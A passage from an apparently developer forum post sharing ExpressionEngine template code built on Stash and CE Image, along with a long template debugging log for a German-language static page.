&#xA;&amp;lt;/script&amp;gt;&#xA;{gv_end}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the standard template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;_wrapper/_standard&quot;}&#xA;&#xA;{preload_replace:pre_prefix=&quot;static&quot;}&#xA;{if in_group(1)}{preload_replace:pre_status=&quot;open|Draft&quot;}{/if}{preload_replace:pre_status=&quot;open&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;ch_static&quot; limit=&quot;1&quot; status=&quot;{pre_status}&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;&#xA;    {!-- misc stuff --}&#xA;    {exp:stash:set scope=&quot;site&quot;}&#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:og_image}{cf_{pre_prefix}_images_matrix limit=&quot;1&quot;}{exp:ce_img:pair src=&quot;{image_url:url:max_size}&quot; width=&quot;250&quot;}{made}{/exp:ce_img:pair}{/cf_{pre_prefix}_images_matrix}{/stash:og_image}&#xA;        {stash:status}{pre_status}{/stash:status}&#xA;        {stash:background_image}{cf_{pre_prefix}_background limit=&quot;1&quot;}{url:max_size}{/cf_{pre_prefix}_background}{/stash:background_image}&#xA;        {stash:color}{sp_color}{/stash:color}&#xA;    {/exp:stash:set}&#xA;&#xA;    {!-- preparing the content, but not outputting it yet --}&#xA;    {exp:stash:set scope=&quot;site&quot; name=&quot;main_content&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; output=&quot;no&quot;}&#xA;        {cf_{pre_prefix}_block_matrix}&#xA;            &amp;lt;article class=&quot;content_block{if status == 'Draft'} logged_in{/if}&quot;&amp;gt;&#xA;                {if title}&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;{/if}&#xA;                {if media AND text}&#xA;                    &amp;lt;div class=&quot;image&quot;&amp;gt;&#xA;                        {media}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&quot;text&quot;&amp;gt;&#xA;                        {text}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {if:else}&#xA;                    {text}{media}&#xA;                {/if}&#xA;            &amp;lt;/article&amp;gt;&amp;lt;!-- end content_block --&amp;gt;&#xA;        {/cf_{pre_prefix}_block_matrix}&#xA;        &amp;lt;p class=&quot;last_edited hidden&quot;&amp;gt;&amp;lt;time datetime=&quot;{entry_date format=&quot;{sp_datetime_format}&quot;}&quot;&amp;gt;Letzte Änderung am {edit_date format=&quot;%Y-%m-%d&quot;}&amp;lt;/time&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/exp:stash:set}&#xA;&#xA;    {!-- setting the inline edit links --}&#xA;    {exp:stash:set scope=&quot;user&quot; name=&quot;edit_main_content&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;        {if member_group == &quot;1&quot;}&amp;lt;p  class=&quot;hide_on_demand&quot;&amp;gt;&amp;lt;a class=&quot;modalbox_edit&quot; href=&quot;/backend/index.php?D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id={channel_id}&amp;amp;entry_id={entry_id}&quot; title=&quot;Zuerst «Senden» drücken, dann «Schliessen und Neuladen»! Esc um abzubrechen&quot;&amp;gt;{title} bearbeiten &amp;amp;uarr;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;    {/exp:stash:set}&#xA;&#xA;    {!-- setting the needles --}&#xA;    {cf_{pre_prefix}_images_matrix}&#xA;        {exp:stash:set name=&quot;bild_{row_count}&quot; type=&quot;snippet&quot;}&#xA;            {if image_zoom == &quot;y&quot;}&#xA;                &amp;lt;a class=&quot;modalbox_zoom img_link&quot; title=&quot;{image_url:title}&quot; href=&quot;{exp:ce_img:pair src='{image_url:url:max_size}' width='1200' height='800'}{made}{/exp:ce_img:pair}&quot;&amp;gt;&#xA;            {/if}&#xA;            {exp:switchee variable=&quot;{image_size}&quot; parse=&quot;inward&quot;}&#xA;                {case value=&quot;left&quot;}&#xA;                    {exp:ce_img:pair src=&quot;{image_url:url:max_size}&quot; width=&quot;255&quot; allow_scale_larger=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; class=&quot;{image_alignement}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; alt=&quot;{title} {image_url:title} {image_url:desc} {gv_alt}&quot; /&amp;gt;{/exp:ce_img:pair}&#xA;                {/case}&#xA;                {case value=&quot;right&quot;}&#xA;                    {exp:ce_img:pair src=&quot;{image_url:url:max_size}&quot; width=&quot;311&quot; allow_scale_larger=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; class=&quot;{image_alignement}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; alt=&quot;{title} {image_url:title} {image_url:desc} {gv_alt}&quot; /&amp;gt;{/exp:ce_img:pair}&#xA;                {/case}&#xA;                {case value=&quot;full&quot;}&#xA;                    {exp:ce_img:pair src=&quot;{image_url:url:max_size}&quot; width=&quot;600&quot; allow_scale_larger=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; class=&quot;{image_alignement}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; alt=&quot;{title} {image_url:title} {image_url:desc} {gv_alt}&quot; /&amp;gt;{/exp:ce_img:pair}&#xA;                {/case}&#xA;                {case value=&quot;untouched&quot;}&#xA;                    &amp;lt;img src=&quot;{image_url:url}&quot; width=&quot;{image_url:width}&quot; height=&quot;{image_url:height}&quot; alt=&quot;{title} {image_url:title} {image_url:desc}&quot; class=&quot;small_image img_link&quot; /&amp;gt;&#xA;                {/case}&#xA;            {/exp:switchee}&#xA;            {if image_zoom == &quot;y&quot;}&amp;lt;/a&amp;gt;{/if} &#xA;        {/exp:stash:set}&#xA;    {/cf_{pre_prefix}_images_matrix}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;and here's the log file:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TEMPLATE DEBUGGING&#xA;(0.000057 / 13.35MB) - Begin Template Processing -&#xA;(0.000177 / 13.35MB) URI: bar&#xA;(0.000190 / 13.35MB) Path.php Template: templates/static&#xA;(0.000202 / 13.35MB) Retrieving Template&#xA;(0.000215 / 13.35MB) Retrieving Template from Database: templates/static&#xA;(0.001079 / 13.35MB) Template Found&#xA;(0.001152 / 13.36MB) Retrieving Template from File&#xA;(0.005293 / 13.80MB) Calling Extension Class/Method: Mo_variables_ext/run&#xA;(0.007817 / 14.01MB) Calling Extension Class/Method: Stash_ext/template_fetch_template&#xA;(0.007953 / 14.00MB) Template Type: webpage&#xA;(0.007973 / 14.00MB) Parsing Site Variables&#xA;(0.008046 / 14.00MB) Snippets (Keys): (stripped out)&#xA;(0.008134 / 14.02MB) Snippets (Values): (stripped out)&#xA;(0.009657 / 14.03MB) Parse Date Format String Constants&#xA;(0.009719 / 14.03MB) Parse Current Time Variables&#xA;(0.009902 / 14.03MB) Parsing Segment, Embed, and Global Vars Conditionals&#xA;(0.011465 / 14.05MB) Processing Preload Text Replacements: pre_prefix|pre_status|pre_status&#xA;(0.015727 / 14.13MB) - Beginning Tag Processing -&#xA;(0.015758 / 14.12MB) Parsing Tags in Template&#xA;(0.015790 / 14.12MB) Tag: {exp:channel:entries channel=&quot;ch_static&quot; limit=&quot;1&quot; status=&quot;open|Draft&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;(0.015889 / 14.13MB) Closing Tag Found&#xA;(0.015994 / 14.13MB) Processing Tags&#xA;(0.016022 / 14.13MB) Module Tag: Channel/entries&#xA;(0.016034 / 14.13MB) Including Files for Plugins and Modules&#xA;(0.016047 / 14.13MB) Files for Plugins and Modules All Included&#xA;(0.016597 / 14.15MB) Beginning Final Tag Data Processing&#xA;(0.016614 / 14.15MB) Calling Class/Method: Channel/entries&#xA;(0.019813 / 14.17MB) -&amp;gt; Class Called: Channel&#xA;(0.021909 / 14.44MB) -&amp;gt; Method Called: entries&#xA;(0.063275 / 19.03MB) Calling Extension Class/Method: Assets_ext/channel_entries_query_result&#xA;(0.078885 / 20.40MB) Calling Extension Class/Method: Playa_ext/channel_entries_tagdata&#xA;(0.080226 / 20.45MB) Calling Extension Class/Method: Matrix_ext/channel_entries_tagdata&#xA;(0.252167 / 22.02MB) Calling Extension Class/Method: Pt_field_pack_ext/channel_entries_tagdata&#xA;(0.260558 / 22.02MB) -&amp;gt; Data Returned&#xA;(0.260695 / 21.97MB) Parsing Tags in Template&#xA;(0.260724 / 21.98MB) Tag: {exp:stash:set scope=&quot;site&quot;}&#xA;(0.260787 / 21.98MB) Closing Tag Found&#xA;(0.260863 / 21.98MB) Tag: {exp:stash:set scope=&quot;site&quot; name=&quot;main_content&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot; output=&quot;no&quot;}&#xA;(0.260930 / 21.98MB) Closing Tag Found&#xA;(0.261004 / 21.99MB) Tag: {exp:stash:set scope=&quot;user&quot; name=&quot;edit_main_content&quot; parse_tags=&quot;yes&quot; parse_conditionals=&quot;yes&quot;}&#xA;(0.261067 / 21.99MB) Closing Tag Found&#xA;(0.261121 / 21.99MB) Tag: {exp:ifelse parse=&quot;inward&quot;}&#xA;(0.261172 / 21.99MB) Closing Tag Found&#xA;(0.261242 / 21.99MB) Tag: {exp:ifelse parse=&quot;inward&quot;}&#xA;(0.261287 / 21.99MB) Closing Tag Found&#xA;(0.261331 / 22.00MB) Tag: {exp:ifelse parse=&quot;inward&quot;}&#xA;(0.261375 / 22.00MB) Closing Tag Found&#xA;(0.261409 / 22.00MB) Processing Tags&#xA;(0.261455 / 22.00MB) Module Tag: Stash/set&#xA;(0.261477 / 22.00MB) Module Tag: Stash/set&#xA;(0.261497 / 22.00MB) Module Tag: Stash/set&#xA;(0.261525 / 22.00MB) Plugin Tag: Ifelse/&#xA;(0.261547 / 22.00MB) Plugin Tag: Ifelse/&#xA;(0.261569 / 22.00MB) Plugin Tag: Ifelse/&#xA;(0.261584 / 22.00MB) Including Files for Plugins and Modules&#xA;(0.267416 / 22.80MB) Files for Plugins and Modules All Included&#xA;(0.267441 / 22.80MB) Beginning Final Tag Data Processing&#xA;(0.267458 / 22.80MB) Calling Class/Method: Stash/set&#xA;(0.267821 / 22.79MB) -&amp;gt; Class Called: Stash&#xA;(0.269202 / 22.91MB) -&amp;gt; Method Called: set&#xA;(0.269375 / 22.91MB) Stash: SET entry_id to value 1130&#xA;(0.269477 / 22.91MB) Stash: SET title to value Bar&#xA;(0.269579 / 22.91MB) Stash: SET og_image to value {exp:ce_img:pair src=&quot;http://www.mydomain.ch/media/bilder/_max_size/bar.jpg&quot; width=&quot;250&quot;}{made}{/exp:ce_img:pair}&#xA;(0.269679 / 22.91MB) Stash: SET status to value open|Draft&#xA;(0.269782 / 22.92MB) Stash: SET background_image to value http://www.mydomain.ch/media/hintergrund/_max_size/Lueftungstapete.jpg&#xA;(0.269902 / 22.92MB) Stash: SET color to value &amp;lt;style&amp;gt; a:hover, .link:hover, #main_nav li a:hover, #main_nav li.here a, #main_nav li.parent-here a { color: #837b3d; } #main_nav { position: relative; float: left; border-bottom-color: #837b3d; } .content_block.line { border-bottom-color: #837b3d; } .time_divider h1 { color: #837b3d; } &amp;lt;/style&amp;gt;&#xA;(0.269988 / 22.91MB) -&amp;gt; Data Returned&#xA;(0.270014 / 22.91MB) Calling Class/Method: Stash/set&#xA;(0.270148 / 22.91MB) -&amp;gt; Class Called: Stash&#xA;(0.270337 / 22.91MB) -&amp;gt; Method Called: set&#xA;(0.270385 / 22.91MB) Stash: processing inner tags&#xA;(0.270731 / 22.91MB) Calling Extension Class/Method: Stash_ext/template_fetch_template&#xA;(0.272446 / 22.91MB) Calling Extension Class/Method: Mo_variables_ext/cleanup&#xA;(0.272631 / 22.91MB) Calling Extension Class/Method: Stash_ext/template_post_parse&#xA;(0.273548 / 22.92MB) Calling Extension Class/Method: Structure_ext/template_post_parse&#xA;(0.273748 / 22.91MB) Stash: SET main_content to value &amp;lt;article class=&quot;content_block&quot;&amp;gt; &amp;lt;h1&amp;gt;Trinken im Kairo&amp;lt;/h1&amp;gt; &amp;lt;p&amp;gt;{bild_2}&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;...&amp;lt;/p&amp;gt;&#xA;(0.273818 / 22.90MB) -&amp;gt; Data Returned&#xA;(0.273845 / 22.90MB) Calling Class/Method: Stash/set&#xA;(0.273945 / 22.90MB) -&amp;gt; Class Called: Stash&#xA;(0.274126 / 22.91MB) -&amp;gt; Method Called: set&#xA;(0.274171 / 22.91MB) Stash: processing inner tags&#xA;(0.274450 / 22.91MB) Calling Extension Class/Method: Stash_ext/template_fetch_template&#xA;(0.275500 / 22.91MB) Calling Extension Class/Method: Mo_variables_ext/cleanup&#xA;(0.275673 / 22.91MB) Calling Extension Class/Method: Stash_ext/template_post_parse&#xA;(0.276391 / 22.92MB) Calling Extension Class/Method: Structure_ext/template_post_parse&#xA;(0.276549 / 22.91MB) Stash: SET edit_main_content to value &amp;lt;p class=&quot;hide_on_demand&quot;&amp;gt;&amp;lt;a class=&quot;modalbox_edit&quot; href=&quot;/backend/index.php?D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id=1&amp;amp;entry_id=1130&quot; title=&quot;Zuerst Â«SendenÂ» drÃ¼cken, dann Â«Schliessen und NeuladenÂ»! Esc um abzubrechen&quot;&amp;gt;Bar bearbeiten &amp;amp;uarr;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;(0.276615 / 22.91MB) -&amp;gt; Data Returned&#xA;(0.276641 / 22.90MB) Calling Class/Method: Ifelse/&#xA;(0.278100 / 22.92MB) -&amp;gt; Class Called: Ifelse&#xA;(0.278576 / 22.93MB) -&amp;gt; Method Called: Ifelse&#xA;(0.278648 / 22.93MB) -&amp;gt; Data Returned&#xA;(0.278674 / 22.92MB) Calling Class/Method: Ifelse/&#xA;(0.278838 / 22.91MB) -&amp;gt; Class Called: Ifelse&#xA;(0.279210 / 22.91MB) -&amp;gt; Method Called: Ifelse&#xA;(0.279281 / 22.91MB) -&amp;gt; Data Returned&#xA;(0.279308 / 22.91MB) Calling Class/Method: Ifelse/&#xA;(0.279403 / 22.91MB) -&amp;gt; Class Called: Ifelse&#xA;(0.279753 / 22.91MB) -&amp;gt; Method Called: Ifelse&#xA;(0.279825 / 22.91MB) -&amp;gt; Data Returned&#xA;(0.279877 / 22.87MB) Parsing Tags in Template&#xA;(0.279903 / 22.88MB) Tag: {exp:stash:set name=&quot;bild_1&quot; type=&quot;snippet&quot;}&#xA;(0.279965 / 22.88MB) Closing Tag Found&#xA;(0.280027 / 22.88MB) Tag: {exp:stash:set name=&quot;bild_2&quot; type=&quot;snippet&quot;}&#xA;(0.280081 / 22.88MB) Closing Tag Found&#xA;(0.280137 / 22.88MB) Tag: {exp:stash:set name=&quot;datei_1&quot; type=&quot;snippet&quot;}&#xA;(0.280187 / 22.89MB) Closing Tag Found&#xA;(0.280224 / 22.89MB) Processing Tags&#xA;(0.280252 / 22.89MB) Module Tag: Stash/set&#xA;(0.280273 / 22.89MB) Module Tag: Stash/set&#xA;(0.280293 / 22.89MB) Module Tag: Stash/set&#xA;(0.280307 / 22.89MB) Including Files for Plugins and Modules&#xA;(0.280318 / 22.89MB) Files for Plugins and Modules All Included&#xA;(0.280328 / 22.89MB) Beginning Final Tag Data Processing&#xA;(0.280340 / 22.89MB) Calling Class/Method: Stash/set&#xA;(0.280945 / 22.90MB) -&amp;gt; Class Called: Stash&#xA;(0.281131 / 22.90MB) -&amp;gt; Method Called: set&#xA;(0.281210 / 22.91MB) Stash: SET bild_1 to value ...&#xA;(0.281285 / 22.90MB) -&amp;gt; Data Returned&#xA;(0.281308 / 22.90MB) Calling Class/Method: Stash/set&#xA;(0.281921 / 22.90MB) -&amp;gt; Class Called: Stash&#xA;(0.282105 / 22.91MB) -&amp;gt; Method Called: set&#xA;(0.282183 / 22.91MB) Stash: SET bild_2 to value ...&#xA;(0.282262 / 22.91MB) -&amp;gt; Data Returned&#xA;(0.282286 / 22.90MB) Calling Class/Method: Stash/set&#xA;(0.282394 / 22.90MB) -&amp;gt; Class Called: Stash&#xA;(0.282590 / 22.90MB) -&amp;gt; Method Called: set&#xA;(0.282674 / 22.91MB) Stash: SET datei_1 to value &amp;lt;a href=&quot;http://www.mydomain.ch/media/dateien/Kairo_Kellervermietung.pdf&quot; class=&quot;download_icon&quot;&amp;gt;...&amp;lt;/a&amp;gt;&#xA;(0.282755 / 22.90MB) -&amp;gt; Data Returned&#xA;(0.282781 / 22.90MB) - End Tag Processing -&#xA;(0.282827 / 22.90MB) - Processing Sub Templates (Depth: 1) -&#xA;(0.282846 / 22.90MB)      List of Embeds: _wrapper/_standard&#xA;(0.282896 / 22.90MB)      Processing Sub Template: _wrapper/_standard&#xA;(0.282913 / 22.90MB)      Retrieving Template&#xA;(0.282927 / 22.90MB)      Retrieving Template from Database: _wrapper/_standard&#xA;(0.283956 / 22.91MB)      Template Found&#xA;(0.284046 / 22.91MB)      Retrieving Template from File&#xA;(0.284630 / 22.93MB)      Calling Extension Class/Method: Stash_ext/template_fetch_template&#xA;(0.284762 / 22.91MB)      Template Type: webpage&#xA;(0.284792 / 22.91MB)      Parsing Site Variables&#xA;(0.284876 / 22.92MB)      Snippets (Keys): (stripped out)|bild_1|bild_2|datei_1&#xA;(0.284961 / 22.96MB)      Snippets (Values): (stripped out) ...&#xA;(0.286013 / 22.94MB)      Parse Date Format String Constants&#xA;(0.286240 / 22.95MB)      Parse Current Time Variables&#xA;(0.286317 / 22.95MB)      Parsing Segment, Embed, and Global Vars Conditionals&#xA;(0.286679 / 22.95MB)      Processing Preload Text Replacements: var_message&#xA;(0.286726 / 22.95MB)       - Beginning Tag Processing -&#xA;(0.286749 / 22.93MB)      Parsing Tags in Template&#xA;(0.286804 / 22.94MB)      Tag: {exp:seo_lite entry_id=&quot;{exp:stash:get name='entry_id'}&quot; parse=&quot;inward&quot;}&#xA;(0.286868 / 22.94MB)      No Closing Tag&#xA;(0.286921 / 22.94MB)      Tag: {exp:stash:get name='title'}&#xA;(0.286975 / 22.95MB)      No Closing Tag&#xA;(0.287029 / 22.95MB)      Tag: {exp:stash:get name='og_image'}&#xA;(0.287082 / 22.95MB)      No Closing Tag&#xA;(0.287138 / 22.95MB)      Tag: {exp:stash:get name='color'}&#xA;(0.287189 / 22.95MB)      No Closing Tag&#xA;(0.287282 / 22.96MB)      Tag: {exp:structure:nav start_from=&quot;/&quot; max_depth=&quot;1&quot; status=&quot;{exp:stash:get name='status'}&quot; css_id=&quot;none&quot; parse=&quot;inward&quot;}&#xA;(0.287353 / 22.95MB)      No Closing Tag&#xA;(0.287409 / 22.96MB)      Tag: {exp:stash:parse process=&quot;end&quot;}&#xA;(0.287461 / 22.96MB)      Closing Tag Found&#xA;(0.287519 / 22.96MB)      Tag: {exp:stash:get name='edit_main_content' scope=&quot;user&quot;}&#xA;(0.287574 / 22.96MB)      No Closing Tag&#xA;(0.287635 / 22.97MB)      Tag: {exp:stash:get name='background_image'}&#xA;(0.287683 / 22.96MB)      No Closing Tag&#xA;(0.287728 / 22.97MB)      Processing Tags&#xA;(0.287755 / 22.97MB)      Module Tag: Seo_lite/&#xA;(0.287778 / 22.97MB)      Module Tag: Stash/get&#xA;(0.287802 / 22.97MB)      Module Tag: Stash/get&#xA;(0.287823 / 22.97MB)      Module Tag: Stash/get&#xA;(0.287844 / 22.97MB)      Module Tag: Structure/nav&#xA;(0.287865 / 22.97MB)      Module Tag: Stash/parse&#xA;(0.287885 / 22.97MB)      Module Tag: Stash/get&#xA;(0.287906 / 22.97MB)      Module Tag: Stash/get&#xA;(0.287923 / 22.97MB)      Including Files for Plugins and Modules&#xA;(0.288793 / 23.07MB)      Files for Plugins and Modules All Included&#xA;(0.288811 / 23.07MB)      Beginning Final Tag Data Processing&#xA;(0.288826 / 23.07MB)      Calling Class/Method: Seo_lite/&#xA;(0.288846 / 23.07MB)      Plugin in Parameter, Processing Plugin First&#xA;(0.288924 / 23.09MB) Tag: {exp:stash:get name='entry_id'}&#xA;(0.288975 / 23.09MB) No Closing Tag&#xA;(0.289025 / 23.09MB) Module Tag: Stash/get&#xA;(0.289039 / 23.09MB) Including Files for Plugins and Modules&#xA;(0.289050 / 23.09MB) Files for Plugins and Modules All Included&#xA;(0.289469 / 23.12MB) Beginning Final Tag Data Processing&#xA;(0.289487 / 23.12MB) Calling Class/Method: Stash/get&#xA;(0.289567 / 23.12MB) -&amp;gt; Class Called: Stash&#xA;(0.289761 / 23.13MB) -&amp;gt; Method Called: get&#xA;(0.289823 / 23.13MB) Stash: RETRIEVED entry_id with value 1130&#xA;(0.289926 / 23.13MB) -&amp;gt; Data Returned&#xA;(0.290139 / 23.08MB)       -&amp;gt; Class Called: Seo_lite&#xA;(0.291888 / 23.07MB)       -&amp;gt; Method Called: Seo_lite&#xA;(0.291966 / 23.07MB)       -&amp;gt; Data Returned&#xA;(0.292002 / 23.07MB)      Calling Class/Method: Stash/get&#xA;(0.292075 / 23.07MB)       -&amp;gt; Class Called: Stash&#xA;(0.292256 / 23.08MB)       -&amp;gt; Method Called: get&#xA;(0.292309 / 23.08MB)      Stash: RETRIEVED title with value Bar&#xA;(0.292407 / 23.08MB)       -&amp;gt; Data Returned&#xA;(0.292452 / 23.08MB)      Calling Class/Method: Stash/get&#xA;(0.292526 / 23.08MB)       -&amp;gt; Class Called: Stash&#xA;(0.292705 / 23.08MB)       -&amp;gt; Method Called: get&#xA;(0.292760 / 23.08MB)      Stash: RETRIEVED og_image with value {exp:ce_img:pair src=&quot;http://www.mydomain.ch/media/bilder/_max_size/bar.jpg&quot; width=&quot;250&quot;}{made}{/exp:ce_img:pair}&#xA;(0.292861 / 23.08MB)       -&amp;gt; Data Returned&#xA;(0.292897 / 23.08MB)      Calling Class/Method: Stash/get&#xA;(0.292969 / 23.08MB)       -&amp;gt; Class Called: Stash&#xA;(0.293146 / 23.08MB)       -&amp;gt; Method Called: get&#xA;(0.293202 / 23.08MB)      Stash: RETRIEVED color with value ...&#xA;(0.293301 / 23.08MB)       -&amp;gt; Data Returned&#xA;(0.293338 / 23.08MB)      Calling Class/Method: Structure/nav&#xA;(0.293358 / 23.08MB)      Plugin in Parameter, Processing Plugin First&#xA;(0.293420 / 23.09MB) Tag: {exp:stash:get name='status'}&#xA;(0.293476 / 23.10MB) No Closing Tag&#xA;(0.293525 / 23.10MB) Module Tag: Stash/get&#xA;(0.293539 / 23.10MB) Including Files for Plugins and Modules&#xA;(0.293549 / 23.10MB) Files for Plugins and Modules All Included&#xA;(0.293933 / 23.12MB) Beginning Final Tag Data Processing&#xA;(0.293950 / 23.12MB) Calling Class/Method: Stash/get&#xA;(0.294022 / 23.13MB) -&amp;gt; Class Called: Stash&#xA;(0.294203 / 23.13MB) -&amp;gt; Method Called: get&#xA;(0.294257 / 23.13MB) Stash: RETRIEVED status with value open|Draft&#xA;(0.294355 / 23.13MB) -&amp;gt; Data Returned&#xA;(0.294572 / 23.08MB)       -&amp;gt; Class Called: Structure&#xA;(0.294905 / 23.10MB)       -&amp;gt; Method Called: nav&#xA;(0.300818 / 23.22MB)       -&amp;gt; Data Returned&#xA;(0.300870 / 23.20MB)      Calling Class/Method: Stash/parse&#xA;(0.300980 / 23.20MB)       -&amp;gt; Class Called: Stash&#xA;(0.301178 / 23.21MB)       -&amp;gt; Method Called: parse&#xA;(0.301216 / 23.21MB)      Stash: this tag will be post-processed on end: {exp:stash:parse process=&quot;end&quot;}&#xA;(0.301300 / 23.21MB)       -&amp;gt; Data Returned&#xA;(0.301337 / 23.21MB)      Calling Class/Method: Stash/get&#xA;(0.301410 / 23.21MB)       -&amp;gt; Class Called: Stash&#xA;(0.301598 / 23.21MB)       -&amp;gt; Method Called: get&#xA;(0.301655 / 23.21MB)      Stash: RETRIEVED edit_main_content with value ...&#xA;(0.301753 / 23.21MB)       -&amp;gt; Data Returned&#xA;(0.301790 / 23.21MB)      Calling Class/Method: Stash/get&#xA;(0.301865 / 23.21MB)       -&amp;gt; Class Called: Stash&#xA;(0.302051 / 23.21MB)       -&amp;gt; Method Called: get&#xA;(0.302104 / 23.21MB)      Stash: RETRIEVED background_image with value http://www.mydomain.ch/media/hintergrund/_max_size/Lueftungstapete.jpg&#xA;(0.302202 / 23.21MB)       -&amp;gt; Data Returned&#xA;(0.302270 / 23.18MB)      Parsing Tags in Template&#xA;(0.302299 / 23.18MB)      Tag: {exp:ce_img:pair src=&quot;http://www.mydomain.ch/media/bilder/_max_size/bar.jpg&quot; width=&quot;250&quot;}&#xA;(0.302364 / 23.18MB)      Closing Tag Found&#xA;(0.302420 / 23.19MB)      Processing Tags&#xA;(0.302454 / 23.19MB)      Plugin Tag: Ce_img/pair&#xA;(0.302468 / 23.19MB)      Including Files for Plugins and Modules&#xA;(0.305107 / 23.56MB)      Files for Plugins and Modules All Included&#xA;(0.305124 / 23.56MB)      Beginning Final Tag Data Processing&#xA;(0.305139 / 23.56MB)      Calling Class/Method: Ce_img/pair&#xA;(0.305243 / 23.56MB)       -&amp;gt; Class Called: Ce_img&#xA;(0.305277 / 23.56MB)       -&amp;gt; Method Called: pair&#xA;(0.317498 / 25.02MB)        ***  CE Image debug: Base path: '/my_server_path/'&#xA;(0.317519 / 25.02MB)        ***  CE Image debug: Source image: 'http://www.mydomain.ch/media/bilder/_max_size/bar.jpg', Fallback image: ''&#xA;(0.317531 / 25.02MB)        ***  CE Image debug: The image '/my_server_path/media/bilder/_max_size/bar.jpg' is cached.&#xA;(0.317975 / 25.00MB)       -&amp;gt; Data Returned&#xA;(0.318039 / 24.99MB)       - End Tag Processing -&#xA;(0.318073 / 24.99MB)      Processing Advanced Conditionals&#xA;(0.319817 / 24.99MB)      Calling Extension Class/Method: Mo_variables_ext/cleanup&#xA;(0.319997 / 24.99MB)      Calling Extension Class/Method: Stash_ext/template_post_parse&#xA;(0.320839 / 24.99MB)      Calling Extension Class/Method: Structure_ext/template_post_parse&#xA;(0.321312 / 25.00MB) Calling Extension Class/Method: Mo_variables_ext/cleanup&#xA;(0.321507 / 25.01MB) Calling Extension Class/Method: Stash_ext/template_post_parse&#xA;(0.321763 / 25.02MB) Stash: post-processing tag: {exp:stash:parse process=&quot;end&quot;} will be replaced into {6ee64145dfa4ae5926a9c326266d59541297750798}&#xA;(0.321843 / 25.02MB) Stash: processing inner tags&#xA;(0.322131 / 25.02MB) Calling Extension Class/Method: Stash_ext/template_fetch_template&#xA;(0.322576 / 25.02MB) Tag: {exp:stash:get name='main_content'}&#xA;(0.322635 / 25.02MB) No Closing Tag&#xA;(0.322699 / 25.02MB) Module Tag: Stash/get&#xA;(0.322713 / 25.02MB) Including Files for Plugins and Modules&#xA;(0.322725 / 25.02MB) Files for Plugins and Modules All Included&#xA;(0.323373 / 25.05MB) Beginning Final Tag Data Processing&#xA;(0.323391 / 25.05MB) Calling Class/Method: Stash/get&#xA;(0.323486 / 25.05MB) -&amp;gt; Class Called: Stash&#xA;(0.323684 / 25.06MB) -&amp;gt; Method Called: get&#xA;(0.323752 / 25.06MB) Stash: RETRIEVED main_content with value &amp;lt;article class=&quot;content_block&quot;&amp;gt; &amp;lt;h1&amp;gt;Trinken im Kairo&amp;lt;/h1&amp;gt; &amp;lt;p&amp;gt;{bild_2}&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;...&amp;lt;/p&amp;gt;&#xA;(0.323861 / 25.06MB) -&amp;gt; Data Returned&#xA;(0.323967 / 25.02MB) Stash: processing inner tags&#xA;(0.324455 / 25.03MB) Tag: {exp:ce_img:pair src='http://www.mydomain.ch/media/bilder/_max_size/_ULI_Kairo_02.JPG' width='1200' height='800'}&#xA;(0.324522 / 25.03MB) Closing Tag Found&#xA;(0.324570 / 25.03MB) Tag: {exp:switchee variable=&quot;full&quot; parse=&quot;inward&quot;}&#xA;(0.324624 / 25.04MB) Closing Tag Found&#xA;(0.324690 / 25.04MB) Plugin Tag: Ce_img/pair&#xA;(0.324716 / 25.04MB) Plugin Tag: Switchee/&#xA;(0.324730 / 25.04MB) Including Files for Plugins and Modules&#xA;(0.325425 / 25.11MB) Files for Plugins and Modules All Included&#xA;(0.325466 / 25.11MB) Beginning Final Tag Data Processing&#xA;(0.325481 / 25.11MB) Calling Class/Method: Ce_img/pair&#xA;(0.325583 / 25.11MB) -&amp;gt; Class Called: Ce_img&#xA;(0.325610 / 25.11MB) -&amp;gt; Method Called: pair&#xA;(0.327154 / 25.14MB)   ***  CE Image debug: Base path: '/my_server_path/'&#xA;(0.327168 / 25.14MB)   ***  CE Image debug: Source image: 'http://www.mydomain.ch/media/bilder/_max_size/_ULI_Kairo_02.JPG', Fallback image: ''&#xA;(0.327178 / 25.14MB)   ***  CE Image debug: The image '/my_server_path/images/made/media/bilder/_max_size/_ULI_Kairo_02_1200_800.JPG' is cached.&#xA;(0.327765 / 25.13MB) -&amp;gt; Data Returned&#xA;(0.327791 / 25.13MB) Calling Class/Method: Switchee/&#xA;(0.328271 / 25.13MB) -&amp;gt; Class Called: Switchee&#xA;(0.328831 / 25.13MB) -&amp;gt; Method Called: Switchee&#xA;(0.328908 / 25.13MB) -&amp;gt; Data Returned&#xA;(0.329007 / 25.09MB) Stash: processing inner tags&#xA;(0.329551 / 25.10MB) Tag: {exp:ce_img:pair src=&quot;http://www.mydomain.ch/media/bilder/_max_size/_ULI_Kairo_02.JPG&quot; width=&quot;600&quot; 